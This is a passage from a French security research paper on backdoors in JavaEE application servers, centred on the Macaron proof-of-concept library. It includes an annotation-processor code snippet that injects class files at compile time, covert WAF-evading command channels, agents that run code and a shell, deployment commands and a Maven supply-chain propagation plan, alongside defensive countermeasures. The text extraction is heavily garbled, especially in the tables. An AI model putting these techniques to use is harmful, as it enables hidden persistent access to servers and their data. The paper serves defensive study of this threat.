tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

